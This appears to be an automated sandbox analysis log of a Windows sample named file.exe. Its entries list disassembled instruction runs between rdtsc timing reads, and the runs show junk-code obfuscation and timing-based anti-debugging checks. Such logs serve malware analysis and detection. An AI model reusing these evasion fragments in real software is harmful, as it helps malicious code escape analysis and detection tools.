Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121573B second address: 12157A1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F04D4C79EA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov bl, 21h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F04D4C79EA8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c or dword ptr [ebp+1248D34Ch], ecx 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007F04D4C79EA8h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e push ecx 0x0000004f movzx edi, di 0x00000052 pop ebx 0x00000053 push eax 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 push ecx 0x00000058 pop ecx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214821 second address: 121483E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F04D4C82A4Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007F04D4C82A46h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12166FD second address: 1216701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12158CD second address: 12158D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216701 second address: 1216707 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216707 second address: 1216756 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F04D4C82A46h 0x00000009 jmp 00007F04D4C82A50h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jnl 00007F04D4C82A4Eh 0x00000018 jnl 00007F04D4C82A48h 0x0000001e push edi 0x0000001f pop edi 0x00000020 nop 0x00000021 mov dword ptr [ebp+122D1EBDh], edi 0x00000027 push 00000000h 0x00000029 mov dword ptr [ebp+1245C7DBh], eax 0x0000002f xor edi, 7A7C44E4h 0x00000035 push 00000000h 0x00000037 mov dword ptr [ebp+1246016Fh], edi 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121599F second address: 12159B7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F04D4C79EADh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216756 second address: 1216760 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F04D4C82A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216760 second address: 1216782 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F04D4C79EB8h 0x00000008 jmp 00007F04D4C79EB2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216782 second address: 1216787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121767B second address: 12176B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C79EB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F04D4C79EA8h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 nop 0x00000013 cld 0x00000014 push 00000000h 0x00000016 mov dword ptr [ebp+1245CF6Bh], ecx 0x0000001c push 00000000h 0x0000001e or di, DD00h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jnl 00007F04D4C79EA8h 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1218563 second address: 1218568 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219554 second address: 1219558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1218804 second address: 1218829 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C82A57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F04D4C82A46h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1218829 second address: 121882D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A613 second address: 121A617 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A617 second address: 121A61D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A61D second address: 121A627 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F04D4C82A46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A627 second address: 121A62B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B64B second address: 121B655 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F04D4C82A4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121C5AA second address: 121C5AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B857 second address: 121B871 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C82A4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b jc 00007F04D4C82A4Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121C5AE second address: 121C5B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121C7F7 second address: 121C81C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C82A57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F04D4C82A46h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12234BD second address: 12234C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12234C1 second address: 12234DC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F04D4C82A51h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12234DC second address: 12234E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12234E0 second address: 12234EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12234EF second address: 12234F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12234F3 second address: 12234FF instructions: 0x00000000 rdtsc 0x00000002 jns 00007F04D4C82A46h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12234FF second address: 1223505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223505 second address: 1223521 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C82A58h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223521 second address: 1223531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F04D4C79EA6h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12240CF second address: 12240D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122DDA1 second address: 122DDB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F04D4C79EA6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122FF7A second address: 122FF7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122FF7E second address: 122FFBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F04D4C79EACh 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f jmp 00007F04D4C79EABh 0x00000014 pop eax 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F04D4C79EB5h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122FFBA second address: 122FFBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230258 second address: 1230274 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C79EB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230274 second address: 12302BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F04D4C82A55h 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 jmp 00007F04D4C82A58h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12302BA second address: 1041A97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pop eax 0x00000008 jno 00007F04D4C79EAEh 0x0000000e push dword ptr [ebp+122D11D9h] 0x00000014 pushad 0x00000015 mov ecx, 3A2A0D64h 0x0000001a mov bx, BC7Fh 0x0000001e popad 0x0000001f call dword ptr [ebp+122D27AFh] 0x00000025 pushad 0x00000026 jo 00007F04D4C79EACh 0x0000002c mov dword ptr [ebp+122D17D9h], edx 0x00000032 xor eax, eax 0x00000034 mov dword ptr [ebp+122D17D9h], edi 0x0000003a mov edx, dword ptr [esp+28h] 0x0000003e cld 0x0000003f jmp 00007F04D4C79EB5h 0x00000044 mov dword ptr [ebp+122D385Bh], eax 0x0000004a stc 0x0000004b mov esi, 0000003Ch 0x00000050 pushad 0x00000051 mov ax, 116Bh 0x00000055 popad 0x00000056 add esi, dword ptr [esp+24h] 0x0000005a cld 0x0000005b lodsw 0x0000005d jmp 00007F04D4C79EAAh 0x00000062 add eax, dword ptr [esp+24h] 0x00000066 jnl 00007F04D4C79EACh 0x0000006c mov ebx, dword ptr [esp+24h] 0x00000070 mov dword ptr [ebp+122D17D9h], ebx 0x00000076 nop 0x00000077 push eax 0x00000078 push edx 0x00000079 jmp 00007F04D4C79EB1h 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12343CE second address: 12343D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12343D2 second address: 1234406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F04D4C79EACh 0x0000000c jmp 00007F04D4C79EADh 0x00000011 popad 0x00000012 pop edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F04D4C79EAFh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234406 second address: 123440F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234B8A second address: 1234B9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d jnp 00007F04D4C79EACh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234B9F second address: 1234BA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234BA3 second address: 1234BAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F04D4C79EA6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1235158 second address: 1235166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F04D4C82A46h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1235166 second address: 1235172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F04D4C79EA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1235172 second address: 1235179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1235179 second address: 123517E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123517E second address: 1235184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239DA6 second address: 1239DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239DB2 second address: 1239DB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF1A4 second address: 11FF1A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF1A8 second address: 11FF244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jno 00007F04D4C82A46h 0x00000014 jnp 00007F04D4C82A46h 0x0000001a popad 0x0000001b jmp 00007F04D4C82A54h 0x00000020 popad 0x00000021 nop 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007F04D4C82A48h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c lea eax, dword ptr [ebp+12490EE3h] 0x00000042 push 00000000h 0x00000044 push ebx 0x00000045 call 00007F04D4C82A48h 0x0000004a pop ebx 0x0000004b mov dword ptr [esp+04h], ebx 0x0000004f add dword ptr [esp+04h], 0000001Dh 0x00000057 inc ebx 0x00000058 push ebx 0x00000059 ret 0x0000005a pop ebx 0x0000005b ret 0x0000005c xor dword ptr [ebp+122D1B38h], edx 0x00000062 nop 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007F04D4C82A52h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF244 second address: 11FF24A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF24A second address: 11FF24E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF24E second address: 11E5347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push esi 0x0000000b jns 00007F04D4C79EA6h 0x00000011 pop esi 0x00000012 pop esi 0x00000013 nop 0x00000014 jnp 00007F04D4C79EACh 0x0000001a mov ecx, dword ptr [ebp+122D3717h] 0x00000020 call dword ptr [ebp+1245FF67h] 0x00000026 jp 00007F04D4C79ECBh 0x0000002c pushad 0x0000002d jmp 00007F04D4C79EB7h 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF6AE second address: 11FF6B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF6B4 second address: 11FF6C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F04D4C79EACh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FFA2F second address: 11FFA44 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F04D4C82A48h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b mov ecx, eax 0x0000000d push eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FFB02 second address: 11FFB2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F04D4C79EAFh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F04D4C79EADh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FFB2E second address: 11FFB32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FFB32 second address: 11FFB38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200107 second address: 1200179 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F04D4C82A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F04D4C82A4Bh 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 add dword ptr [ebp+122D17CCh], ebx 0x00000019 push 0000001Eh 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007F04D4C82A48h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 00000018h 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 mov edx, dword ptr [ebp+122D3943h] 0x0000003b nop 0x0000003c pushad 0x0000003d pushad 0x0000003e pushad 0x0000003f popad 0x00000040 jl 00007F04D4C82A46h 0x00000046 popad 0x00000047 jmp 00007F04D4C82A57h 0x0000004c popad 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 pushad 0x00000052 popad 0x00000053 pop eax 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12002E1 second address: 12002E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12002E5 second address: 12002EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B987A second address: 11B9884 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F04D4C79EA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239660 second address: 123966B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239957 second address: 123997B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F04D4C79EB8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123997B second address: 1239987 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jc 00007F04D4C82A46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239987 second address: 1239995 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F04D4C79EA6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3976 second address: 11C3983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12408F7 second address: 124090A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F04D4C79EADh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124090A second address: 124090E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240BC9 second address: 1240BEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ebx 0x0000000a jmp 00007F04D4C79EAAh 0x0000000f pushad 0x00000010 jg 00007F04D4C79EA6h 0x00000016 jc 00007F04D4C79EA6h 0x0000001c push edx 0x0000001d pop edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240D12 second address: 1240D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240D18 second address: 1240D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240D1C second address: 1240D37 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F04D4C82A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F04D4C82A46h 0x00000015 ja 00007F04D4C82A46h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240D37 second address: 1240D3F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
